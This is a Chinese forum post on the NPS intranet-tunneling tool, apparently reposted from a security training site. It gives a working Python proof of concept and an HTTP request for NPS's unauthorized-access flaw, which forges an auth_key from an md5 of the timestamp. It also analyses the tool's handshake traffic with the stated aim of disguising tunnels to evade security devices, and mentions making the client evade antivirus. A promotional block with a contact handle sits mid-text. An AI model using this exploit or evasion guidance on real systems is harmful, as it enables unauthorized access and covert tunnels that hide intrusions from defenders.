马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有账号?立即注册
x
前言
因为想要写一个socks的流量算法去绕过安全设备,所以这里对nps的流量特征总结一下,方便自己后期的魔改。
环境
ubuntu 16.04 vps server
windows server 2012R2 clinet
mkdir nps
cd nps
wget https://github.com/ehang-io/nps/releases/download/v0.26.10/linux_amd64_server.tar.gz
tar -zxvf linux_amd64_server.tar.gz
./nps install
[img=720,131.98682766190998]https://www.hetianlab.com/headImg.action?news=7f77e872-e49d-4fea-bd72-d3f1c400ed07.png[/img]
- cd /etc/nps/conf/<br>vim nps.conf
复制代码 配置文件
- #web<br>web_host=a.o.com<br>web_username=xxxx //管理端用户名<br>web_password=xxxxxx //管理端密码<br>web_port = xxxxx //管理端端口<br>web_ip=0.0.0.0<br>web_base_url=<br>web_open_ssl=false<br>web_cert_file=conf/server.pem<br>web_key_file=conf/server.key<br>#web_base_url=/nps
复制代码

- ##bridge<br>bridge_type=tcp //客户端连接协议tcp<br>bridge_port=xxxx //客户端连接端口<br>bridge_ip=0.0.0.0
复制代码

bridge_port的默认端口默认为8024,这里不建议改为默认的,连接客户端的时候可能会触发安全设备规则
NPS未授权复现
POC
- #encoding=utf-8<br>import time<br>import hashlib<br>now = time.time()<br>m = hashlib.md5()<br>m.update(str(int(now)).encode("utf8"))<br>auth_key = m.hexdigest()<br><br>print("Index/Index?auth_key=%s×tamp=%s" % (auth_key,int(now))
复制代码 直接访问
http://vps:port?payload
[img=720,216.28458498023716]https://www.hetianlab.com/headImg.action?news=c37d56b4-6f40-4685-8227-7a0d193a7d7b.png[/img]
exp请求接口
- POST /client/list HTTP/1.1<br>Host: vps:port<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0<br>Accept: application/json, text/javascript, */*; q=0.01<br>Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2<br>Accept-Encoding: gzip, deflate<br>Content-Type: application/x-www-form-urlencoded<br>X-Requested-With: XMLHttpRequest<br>Content-Length: 98<br>Origin: http://vps:port<br>Connection: close<br>Referer: http://vps:port/client/list<br><br>search=&order=asc&offset=0&limit=10&auth_key=805df7d1f7bf3b662939ca091174e6b4×tamp=1659948547
复制代码 [img=720,261.1042944785276]https://www.hetianlab.com/headImg.action?news=b2fd28d9-b2b9-4d2d-9b81-7854b087ab2a.png[/img]
参考链接:
https://mp.weixin.qq.com/s/PTq01wcV4XJwutbSjHjfvA
修复措施
vim /etc/nps/conf/nps.conf取消注释auth_key,添加auth_crypt_key`注释
auth_key=test#auth_crypt_key =!QAZ4rfv%TGB^YHN
修改为
auth_key=test#auth_crypt_key =!QAZ4rfv%TGB^YHN

目前最新版本的也存在改配置不当问题,这里需要修改配置,修复之后是无法通过未授权读取内容信息的。
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
socks流量分析
nps start
访问http://vps:port/login
[img=720,484.3076923076923]https://www.hetianlab.com/headImg.action?news=ac29a370-2a50-4b6a-94e2-7d317ea9377f.png[/img]
新增客户端
[img=720,386.5472088215024]https://www.hetianlab.com/headImg.action?news=e1bdc29b-41cb-4452-93bd-bb5372157e43.png[/img]
这里用户名和密码随意,这里是客户端登录的认证用户名,在客户端连接的时候是根据密钥来实现的。
[img=720,138.94736842105263]https://www.hetianlab.com/headImg.action?news=09a2ae46-3084-46f2-9e7e-172aa5fb27d7.png[/img]
客户端选择windwos server 2012R2
修改客户端配置文件
- [common]<br>server_addr=vps:port<br>conn_type=tcp<br>vkey=xxxx<br>auto_reconnection=true<br>max_conn=1000<br>flow_limit=1000<br>rate_limit=1000<br>basic_username=11<br>basic_password=3<br>web_username=xxxx <br>web_password=xxxxx<br>crypt=true<br>compress=true<br>#pprof_addr=0.0.0.0:9999<br>disconnect_timeout=60
复制代码 客户端启动
npc.exe -server=vps:port -vkey=xxxxx -type=tcp
正常情况下会报毒,所以这里针对杀软这一块儿,客户端需要做一下免杀处理。
[img=720,121.94271481942715]https://www.hetianlab.com/headImg.action?news=23b9a41d-df72-48d1-a249-66bbcc6dbe89.png[/img]
查看连接状态
[img=720,70.20942408376963]https://www.hetianlab.com/headImg.action?news=0eef9ec2-b6cf-4101-af29-0c90d78caafd.png[/img]
[img=720,104.89019033674964]https://www.hetianlab.com/headImg.action?news=34b406fd-c710-4396-9e40-c5426edc0ded.png[/img]
使用goby测试socks5
[img=720,315.858310626703]https://www.hetianlab.com/headImg.action?news=2a9b079f-52ce-4beb-b08c-a8a0d944354d.png[/img]
测试代理

已成功实现内网穿透。
这里使用wireshark抓取流量包,
初始流量服务器向客户端发送TST
[img=720,241.22627737226279]https://www.hetianlab.com/headImg.action?news=432f8f03-7887-4bf2-927a-731b352ee7f3.png[/img]
同时客户端向服务端确认版本,同时返回客户端版本0.26.0
[img=720,261.9667170953101]https://www.hetianlab.com/headImg.action?news=5134e336-ac58-4b7b-9fa0-63f78ebc65a9.png[/img]
代码位置nps/lib/version/version.go
[img=720,377.4520856820744]https://www.hetianlab.com/headImg.action?news=e4499714-a110-4fc5-b519-1fa7763ab9b8.png[/img]
服务端接收到请求后,客户端请求的数据内容为nps的版本为0.26.10
[img=720,219.42857142857142]https://www.hetianlab.com/headImg.action?news=a00694ab-5056-4d15-bdde-a5405381e971.png[/img]
服务端接收到请求后返回给客户端服务端版本的md5值,即
md5(0.26.0)=89a4f3fc3c89257d6f712de6964bda8e
可以发现在产生nps客户端连接的时候,会产生数据校验,这里数据校验就是有服务器到
[img=720,260.31180400890867]https://www.hetianlab.com/headImg.action?news=71f27977-7225-448d-9989-a3be696c42fb.png[/img]
这是客户端传输给服务端密钥连接
md5(vkey)
[img=720,248.49056603773585]https://www.hetianlab.com/headImg.action?news=1ed03712-e18d-40ca-a79d-eca6caeeca34.png[/img]
服务端在接收到客户端的请求后校验数据后返回success
[img=720,246.73469387755102]https://www.hetianlab.com/headImg.action?news=d49219e0-e2b0-4128-ab3d-1b47dc6308b2.png[/img]
这里客户端和服务端的连接流量就比较清晰了,那么想要bypass安全设备的告警,在修改加密方式和修改版本关键字即可,因为在做流量隐藏的时候跟bypassav不一样,不会考虑文件的哈希以及文件在沙箱中的落地状态。
更多靶场实验练习、网安学习资料,请点击这里>>
搜索
复制
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |